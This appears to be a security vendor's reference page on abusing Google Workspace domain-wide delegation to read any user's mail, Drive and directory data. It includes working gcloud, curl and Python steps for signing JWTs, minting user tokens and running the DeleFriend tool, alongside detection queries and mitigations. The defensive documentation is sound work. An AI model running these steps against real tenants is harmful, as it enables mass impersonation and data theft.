1. Resources
  2. Identity Threats
  3. Google Workspace

Google Workspace Domain-Wide Delegation Abuse

Also known as: DWD abuse, DeleFriend, GCP to Workspace pivot, Service account user impersonation in Google Workspace

Whoever can sign as a Google Cloud service account that holds domain-wide delegation gets API access to any Workspace user's mail, files or directory data within the delegated scopes.

Platform
Google Workspace
Impact
Critical
Last updated
Attack difficulty
Medium
Detection difficulty
High
Privileges required: Specific rights or roles
A key for, or the right to create keys or sign JWTs as (iam.serviceAccountKeys.create, iam.serviceAccounts.signJwt), a service account whose client ID is authorized for domain-wide delegation.
What the attacker gains
Access tokens for any user in the Workspace domain, limited to the delegated OAuth scopes: Gmail, Drive, Calendar or the Admin SDK.
Threat groups
APT28HAFNIUMShinyHuntersTeamPCPAPT29APT33APT38APT5Ke3changLAPSUS$NIMBUS MANTICOREScattered SpiderStorm-0501VOID MANTICOREGroups that MITRE ATT&CK records using T1550.001, T1078.004, T1098.001, T1098.003.

How it works

Domain-wide delegation is a Google Workspace feature for server-to-server applications such as backup, migration and directory sync tools. A super administrator opens the Admin console (Security > Access and data control > API controls > Manage Domain Wide Delegation), enters a client ID and a list of OAuth scopes, and authorizes it. From then on that client can obtain an OAuth access token for any user in the domain within those scopes, with no consent screen and no user credentials.

The client is normally a Google Cloud service account. To act as a user it builds a JWT with these claims, signs it as the service account and posts it to Google's token endpoint:

Claim Value
iss The service account's email address
sub The email address of the user to act as
scope Space-delimited list of requested scopes
aud https://oauth2.googleapis.com/token
iat, exp Issue and expiry time; exp at most one hour after iat

The token endpoint checks the signature, checks that the client ID is authorized for the requested scopes in the user's domain, and returns an access token for the user in sub.

Three facts turn this into an attack path from Google Cloud to Workspace:

  • The delegation belongs to the client ID, not to a key. Any valid signature from the service account works. A new key created today inherits a delegation that was approved years ago. This is the design issue that Hunters' Team Axon published as DeleFriend.
  • Signing rights are Google Cloud IAM rights. iam.serviceAccountKeys.create creates a key. iam.serviceAccounts.signJwt, part of the Service Account Token Creator role, signs the JWT through the IAM Credentials API with no key at all. Both are granted and inherited inside Google Cloud, by people who may know nothing about the Workspace side.
  • The two halves have different owners. The Workspace administrator sees a 21-digit client ID and a scope list. The project owner sees a service account with few or no IAM roles. Neither view shows that the account can read every mailbox.

Domain-wide delegation does not give the service account or the impersonated user the super administrator role. Access is bounded by the delegated scopes, by what the impersonated user may do, and by the receiving API. A delegation that includes an Admin SDK scope such as https://www.googleapis.com/auth/admin.directory.user, used with a super administrator as the subject, does reach directory administration; directory and password sync integrations are commonly set up this way.

A second variant is persistence on the Workspace side: an attacker who already controls a super administrator account authorizes a client ID of their own, which can belong to a service account in a project outside the organization.

Prerequisites

  • A service account whose OAuth client ID is authorized for domain-wide delegation in the target Workspace or Cloud Identity account.
  • The ability to sign as that account, by any of:
    • an existing key file for it;
    • iam.serviceAccountKeys.create on the account or its project (included in the Editor and Owner basic roles and in Service Account Key Admin), see service account key creation;
    • iam.serviceAccounts.signJwt on the account (Service Account Token Creator), directly or inherited, see service account impersonation.
  • The email address of at least one user in the domain to name as the subject. For administrative scopes, the address of a user with the right admin role.
  • Knowledge of, or a way to guess, the delegated scopes. The request fails with unauthorized_client when the client is not authorized for a requested scope.

For the persistence variant: a super administrator session, and approval by a second super administrator where multi-party approval is enabled.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find candidate service accounts

Google Cloud does not show which service accounts are delegated; the list is in the Admin console. From the cloud side, collect the accounts the current identity can sign for and their client IDs:

gcloud iam service-accounts list --project=example-project \
    --format='table(email, uniqueId, oauth2ClientId, disabled)'

# Where can the current identity create keys or sign JWTs
gcloud asset analyze-iam-policy --organization=123456789012 \
    --identity='user:alice@corp.example.com' \
    --permissions='iam.serviceAccountKeys.create,iam.serviceAccounts.signJwt'

Names help: accounts for backup, migration, mail archiving, directory sync and security tooling are the usual holders of a delegation. With access to the Admin console or its export, match the numeric client IDs directly.

2a. Sign without a key

Write the claim set and let the IAM Credentials API sign it:

NOW=$(date +%s)
cat > claims.json <<EOF
{
  "iss": "svc-backup@example-project.iam.gserviceaccount.com",
  "sub": "alice@corp.example.com",
  "scope": "https://www.googleapis.com/auth/gmail.readonly",
  "aud": "https://oauth2.googleapis.com/token",
  "iat": $NOW,
  "exp": $((NOW + 3600))
}
EOF

gcloud iam service-accounts sign-jwt claims.json signed.jwt \
    --iam-account=svc-backup@example-project.iam.gserviceaccount.com

2b. Or create a key

gcloud iam service-accounts keys create key.json \
    --iam-account=svc-backup@example-project.iam.gserviceaccount.com

With a key file, the Google auth library builds and signs the assertion:

from google.oauth2 import service_account

SCOPES = ['https://www.googleapis.com/auth/gmail.readonly']
credentials = service_account.Credentials.from_service_account_file(
    'key.json', scopes=SCOPES)
delegated = credentials.with_subject('alice@corp.example.com')

3. Exchange the assertion for a user's access token

ACCESS_TOKEN=$(curl -s -X POST https://oauth2.googleapis.com/token \
    --data-urlencode 'grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer' \
    --data-urlencode "assertion=$(cat signed.jwt)" | jq -r .access_token)

A token in the response means the scope is delegated for this client. An unauthorized_client error ("Unauthorized client or scope in request") means the client is not authorized for that scope, so repeating the request with one scope at a time maps the delegation. DeleFriend automates exactly this: it finds service accounts the caller can create keys for, creates keys, and tests scope combinations against a known domain user.

git clone https://github.com/axon-git/DeleFriend.git && cd DeleFriend
poetry install && poetry shell
# config.yaml holds a Google Cloud access token for the current identity:
#   bearer_access_token: "<access token>"
#   workspace_user_email: "alice@corp.example.com"   (optional)
python main.py -c config.yaml

4. Call Workspace APIs as the user

# List messages in the user's mailbox (Gmail scope)
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
    'https://gmail.googleapis.com/gmail/v1/users/me/messages?maxResults=10'

# List the user's files (Drive scope)
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
    'https://www.googleapis.com/drive/v3/files?pageSize=10'

# List directory users (Admin SDK scope, subject must be an administrator)
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
    'https://admin.googleapis.com/admin/directory/v1/users?customer=my_customer'

Changing sub and repeating steps 2 and 3 moves to the next user. Nothing has to be done in the victim's own session.

5. Persistence variant: authorize a new client

With a super administrator session, in the Admin console open Security > Access and data control > API controls > Manage Domain Wide Delegation, choose Add new, enter the client ID of a service account the attacker controls and the scopes wanted, and authorize. Changes usually apply within minutes and can take up to 24 hours. The attacker then signs with their own key, from their own project, for as long as the entry stays in the list.

Impact

Within the delegated scopes the attacker has the access of every user in the domain, one token at a time: reading and sending mail, downloading Drive files, reading calendars, and with Admin SDK scopes creating users, resetting passwords or changing group membership through an administrator subject. The users' passwords, two-step verification and sign-in policies play no part, because no user signs in.

It is a boundary crossing that most threat models miss. A developer with the Editor role in an old tooling project, or a workload that inherited Token Creator from a folder, holds the mail of the executive team without any Workspace role. For the route into the project in the first place, see cross-project lateral movement.

User-managed keys do not expire by default, so a key created for this purpose keeps working until someone deletes it or removes the delegation.

OPSEC and artifacts

  • Keyless signing. sign-jwt leaves no key in the service account's key list and no CreateServiceAccountKey event. The call is a SignJwt event of the IAM Credentials API, a Data Access event that is recorded only where Data Access logging for that API is enabled.
  • Key creation. google.iam.admin.v1.CreateServiceAccountKey is an Admin Activity event and is always written, with the caller, the service account and the caller's address. The key stays visible in the key list. DeleFriend-style enumeration creates keys on many accounts in a short time, which stands out.
  • Scope probing. Each rejected scope is a failed token request at Google's OAuth endpoint, not an event in the project. A patient operator tests few scopes, guided by what the tool behind the account needs.
  • Acting as the user. API activity appears in Workspace logs under the user's name. Where the entry carries application details (actor.applicationInfo.oauthClientId and impersonation in Drive activity, the OAuth client in token events), they point to the delegated client. Without them, the activity looks like the user's own.
  • Blending with the legitimate tool. A backup or archiving client reads many mailboxes every day. Requests from the same client ID to a handful of chosen users hide in that volume; the source address and the API methods used are what differ.
  • A new delegation is logged without an address. Authorizing a client writes AUTHORIZE_API_CLIENT_ACCESS in the admin log with API_CLIENT_NAME and API_SCOPES. The entry shows the numeric client ID; tying it to a service account and a project takes a lookup on the Google Cloud side.
  • Log lifetime. Workspace commonly keeps Admin, OAuth Token and Drive log events for six months, far less than a key lives.

Detection

Delegation changes. The domain-wide delegation granted rules match the admin event, with higher severity for mail, Drive, directory and cloud-platform scopes. In the Admin SDK Reports API the selection is:

applicationName=admin
userKey=all
eventName=AUTHORIZE_API_CLIENT_ACCESS

With Workspace audit logs shared to Google Cloud, the same event is in the organization's Admin Activity log (see the authorizeApiClientAccess source):

protoPayload.serviceName="admin.googleapis.com"
protoPayload.methodName="google.admin.AdminService.authorizeApiClientAccess"

Every authorization should match a change request. Compare client ID and scope set with the previous state, and report scope additions on an existing client separately from new clients. REMOVE_API_CLIENT_ACCESS is the removal event.

Signing rights on delegated accounts. Keep an inventory that maps each delegated client ID to its service account and project, then watch those accounts specifically:

protoPayload.serviceName="iam.googleapis.com"
protoPayload.methodName="google.iam.admin.v1.CreateServiceAccountKey"

Any key created for a delegated account outside a planned rotation is an incident lead; the service account key created rules and the CreateServiceAccountKey source cover it. For the keyless path, enable Data Access logging for the IAM Credentials API in the project and alert on SignJwt calls for the account by anyone other than its workload; the service account impersonation rules read these. New Token Creator or key administration bindings on the account or its project are covered by the impersonation rights granted rules.

Use. In Workspace activity, look for the delegated client acting for users it has never touched, from addresses the tool does not use, or with API methods outside its function (a calendar sync client reading mail). In Drive events compare actor.applicationInfo.oauthClientId and actor.applicationInfo.impersonation with the approved client and subject where they are present. originating_app_id in Drive events is a Google Cloud project number and identifies the project, not a specific client.

A delegation entry alone says nothing about which users were impersonated; that has to come from product logs.

Mitigation

  • Avoid delegation where an alternative exists. Google recommends it only for a critical business need, after considering OAuth with user consent and Marketplace apps. Remove clients that are no longer needed, such as migration tools after the migration.
  • Delegate the fewest scopes. Review each client's scope list periodically and remove what is not used. Avoid broad administrative scopes.
  • Put delegated service accounts in dedicated projects used for nothing else, and keep the number of people with edit access to those projects minimal. Check who holds Owner, Editor, Token Creator and Service Account Key Admin there, including through inheritance from folders and the organization.
  • Do not use keys. Delegation works with the signJwt API, so the application does not need a key file. Block key creation and upload for these projects with the organization policy constraints iam.disableServiceAccountKeyCreation and iam.disableServiceAccountKeyUpload, and delete existing keys.
  • Protect the service account's allow policy. Do not let users change the policy of a service account that has more reach than they do; grant signing rights on the account itself to the one workload that needs them.
  • Turn on multi-party approval for sensitive admin actions, so that authorizing, editing or deleting a delegation needs a second super administrator.
  • Share Workspace audit logs with Google Cloud and alert on delegation changes together with key and signing events for the mapped service accounts.
  • During response, remove the client from the delegation list, which stops dependent applications immediately, then delete the keys and review Workspace activity for the client across the log retention period.

Detection rules for this attack

Log events to collect

FAQ

What is domain-wide delegation in Google Workspace?

It is an authorization a super administrator creates in the Admin console: a client ID, usually that of a Google Cloud service account, plus a list of OAuth scopes. The client can then request access tokens for any user in the domain within those scopes, without the user's consent or password.

Does the attacker need a Workspace administrator account?

Not to abuse an existing delegation. The delegation is tied to the service account's OAuth client ID, not to a particular key, so anyone who can create a key for that service account or sign a JWT as it in Google Cloud can use it. A super administrator is needed only to create or change a delegation.

Does domain-wide delegation make the service account a super administrator?

No. The service account acts as the user named in the token request, limited to the delegated scopes and to what that user can do. Reaching administrative functions requires both an Admin SDK scope in the delegation and impersonating a user who holds the needed admin role.

How do you detect domain-wide delegation abuse?

Watch the Workspace admin log for AUTHORIZE_API_CLIENT_ACCESS, where a service account appears as a numeric client ID, and match that ID to the service account in Google Cloud. Then monitor key creation and SignJwt calls for delegated service accounts, and Workspace activity that an application performs on behalf of users it normally never touches.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.